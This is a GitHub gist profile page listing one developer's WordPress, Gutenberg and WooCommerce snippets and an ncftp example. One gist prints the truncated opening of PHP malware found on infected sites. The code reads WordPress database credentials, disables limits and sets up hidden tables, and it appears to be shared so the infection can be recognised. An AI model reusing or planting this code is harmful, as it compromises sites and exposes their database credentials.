Skip to content

Instantly share code, notes, and snippets.

View frantorres's full-sized avatar

Francisco Torres frantorres

View GitHub Profile
@frantorres
frantorres / block-variations.js
Created October 22, 2022 11:27
Añadir variación de bloque en Gutenberg.
'use strict';
(function () {
const {__, _x, _n, _nx} = wp.i18n;
wp.blocks.registerBlockVariation(
'core/paragraph',
{
name: 'paragraph-variation',
title: __('Variación de párrafo', '_s'),
icon: 'star-filled',
@frantorres
frantorres / functions.php
Last active October 22, 2022 11:34
Añadir estilo de bloque en Gutenberg.
add_action('init', '_s_block_style');
function _s_block_style() {
register_block_style('core/columns',
[
'name' => 'columna-divertida',
'label' => __('Divertida', '_s')
]
);
}
@frantorres
frantorres / 60828f06174ed.php
Last active March 21, 2022 03:46
Cadenas encontradas en virus CDMon Abril-Mayo 21
<?php $admworkurl="";ini_set('display_errors',"Off");ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,":");$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref="wpr_";}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref ."pcachewpr";$linkstablaname=$wpdbpref ."lcachewpr";$dbprt="3306";if(stripos("qqq" .$wpdbhost,":")){$wpdbhost=explode(":",$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip="";}$mordaurl=readValueFromBD($wpdbpref ."options","option_value","option_name='siteurl'",$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=="no"|| stripos("qqq" .$mordaurl,"localhost")){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl="http://" .$mordaurl;}else{$mordaurl="https://
@frantorres
frantorres / wcVariationImage.php
Created April 20, 2020 15:40
WordPress WooCommerce. Show variation image in loop when filtering by an attribute.
remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 );
add_action( 'woocommerce_before_shop_loop_item_title', 'template4876859_template_loop_product_thumbnail', 10 );
function template4876859_template_loop_product_thumbnail() {
$imageId = template4876859_get_variation_imageid('filter_color', 'attribute_pa_color');
if(!empty($imageId)) {
$size = $image_size = apply_filters('single_product_archive_thumbnail_size', 'woocommerce_thumbnail');
echo wp_get_attachment_image($imageId, $size);
} else {
echo woocommerce_get_product_thumbnail(); // WPCS: XSS ok.
}
@frantorres
frantorres / ncftps.sh
Created October 11, 2016 17:28
ncftp getting and sending files via ftp
ncftpget -R -T -v -u [username] [hostname] [local path] [remote path]
#Ex: ncftpget -R -T -v -u ftpuser ftp.server.work ~/localpath /remotepath
ncftpput -u [username] -p [password] -R [hostname] [remote path] [local path]
#Ex: ncftpput -u ftpuser -p password -R ftp.server.work /remotepath/ ~/localpath/*